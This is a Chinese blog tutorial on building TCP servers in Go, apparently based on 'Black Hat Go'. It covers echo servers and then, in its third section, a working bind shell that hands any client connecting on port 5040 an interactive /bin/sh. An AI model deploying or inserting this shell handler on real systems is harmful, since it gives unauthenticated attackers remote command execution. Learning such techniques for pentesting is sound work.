【GO语言】构造TCP代理

前言

我们上一篇主要是讲从客户端的角度使用net包,今天我们来聊一聊用它创建TCP服务器和传输数据的方法

1、创建回显服务器

首先我们需要构造一个回显服务器,掌握如何在套接字中读写数据。具体流程就是,先用net.Conn创建一个Conn实例,我们可以通过TCP套接字发送和接收数据。用net.Listen(network, address string) 在特定端口上打开TCP监听器。客户端连接后,方法Accept() 将创建并返回一个Conn对象,可以使用该对象接受和发送数据。下面以 23 端口为例

package main import ( "io" "log" "net" ) // echo是一个处理函数,他仅仅回显接收到的数据 func echo(conn net.Conn) { defer conn.Close() //创建一个缓冲区来存储接收到的数据 b := make([]byte, 512) for { //通过conn.Read接收数据到一个缓冲区 size, err := conn.Read(b[0:]) if err == io.EOF { log.Println("Client disconnected") break } if err != nil { log.Printf("UUnexpected error") break } log.Printf("Received %d bytes: %s\n", size, string(b)) //通过conn.Write发送数据 log.Println("writing data") if _, err := conn.Write(b[0:size]); err != nil { log.Fatalln("Unable to write data") } } } func main() { //在所有接口上绑定tcp端口23 listener, err := net.Listen("tcp", ":23") if err != nil { log.Fatalln("Unable to bind to port") } log.Println("Listening on 0.0.0.0:23") for { //等待连接。在已经建立的连接上创建net.Conn conn, err := listener.Accept() log.Println("Received connection") if err != nil { log.Fatalln("Unable to accept connection") } //处理连接。使用goroutine实现并发 go echo(conn) } }

运行代码后,在命令行中输入

telnet localhost 23

远程连接客户端

如果显示没有telnet命令,可以通过下面的途径解决
控制面板——程序——启动或关闭windows功能——telnet client

最终回显服务器产生以下标准输出
在这里插入图片描述
这个回显服务器将客户端发送的消息完全重复的发回给客户端

在这里插入图片描述

2、缓冲监听器

上面的回显实例中我们看到服务器接收到客户端一个字节就立马发送出去了,这样相当依赖函数调用、缓冲区跟踪以及重复的读写。Go拥有可以简化此过程并降低代码复杂性的包 bufio, bufio包包装了ReaderWriter, 以创建 io 缓冲机制。这次以5040端口为例

package main import ( "bufio" "log" "net" ) func echo_up(conn net.Conn) { defer conn.Close() reader := bufio.NewReader(conn) s, err := reader.ReadString('\n') if err != nil { log.Fatalln("Unable to read data") } log.Printf("Read %d bytes: %s", len(s), s) log.Println("Writing data") writer := bufio.NewWriter(conn) if _, err := writer.WriteString(s); err != nil { log.Fatalln("Unable to write data") } writer.Flush() //将所有数据写入底层的Writer } func main() { //在所有端口上绑定TCP端口 5040 listener, err := net.Listen("tcp", ":5040") if err != nil { log.Fatalln("Unable to build to port") } log.Println("Listening on 0.0.0.0:5040") for { //等待连接,在已连接的基础上创建net.Conn conn, err := listener.Accept() log.Println("Received connection") if err != nil { log.Fatalln("Unable to accept connection") } //处理连接。使用goroutine实现并发 go echo_up(conn) } }

运行后打开命令行输入命令

telnet localhost 5040

远程连接客户端
向服务器发送一串字符后,接收到来自服务器一串相同的字符
在这里插入图片描述
服务端的运行情况如下

在这里插入图片描述

3、实现NC执行

我们知道NetcatTCP/IP上的 “瑞士军刀”,其本质上属于Telnet的一种,只不过比起Telnet,它更灵活且可编写脚本。它包含一项在TCP上重定向任意程序的标准输入(stdin)和标准输出(stdout)的功能。比如使攻击者能够通过单一的命令执行漏洞访问操作系统的shell。接下来我们就用Go来复现一下这个功能。

首先用到的使Goos/exec包,该包定义了一种名为Cmd的类型,其中包含运行命令以及操作stdin和stdout所需的方法和属性。接收到新的连接后,可以使用os/exec中的函数Command(name string, arg…string) 创建新的Cmd实例,我们将 “/bin/sh” 硬编码为命令并将 “- i” 作为参数,使我们处于交互模式,这样就可以更可靠地操作stdin和stdout。

下面还是以5040端口为例

package main import ( "io" "log" "net" "os/exec" ) func handle(conn net.Conn) { /*For Windows use exec.Command("cmd.exe")*/ // cmd := exec.Command("cmd.exe") cmd := exec.Command("/bin/sh", "-i") rp, wp := io.Pipe() // Set stdin to our connection cmd.Stdin = conn cmd.Stdout = wp go io.Copy(conn, rp) cmd.Run() conn.Close() } func main() { listener, err := net.Listen("tcp", ":5040") if err != nil { log.Fatalln(err) } for { conn, err := listener.Accept() if err != nil { log.Fatalln(err) } go handle(conn) } }

运行此程序后,在命令行连接客户端,则可以直接访问shell。

总结

整个下来就Telnet那部分差点给我整不会了,电脑总是出问题,不过最后都解决了。到现在为止我们已经了解了Go的实际应用与网络、I/O和并发的关系,收获满满,大家有什么疑问欢迎在评论区讨论,相互学习,一起进步!

参考 : 《Black Hat Go:Go Programming for Hackers and Pentesters》
2d3db45f-a63b-441d-946c-081e0083e6e8


__EOF__

本文作者上岸!
本文链接https://www.cnblogs.com/Seversan-Sickle/p/17228237.html
关于博主:编程小萌新一名,希望从今天开始慢慢提高,一步步走向技术的高峰!
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Seversan-Sickle  阅读(68)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示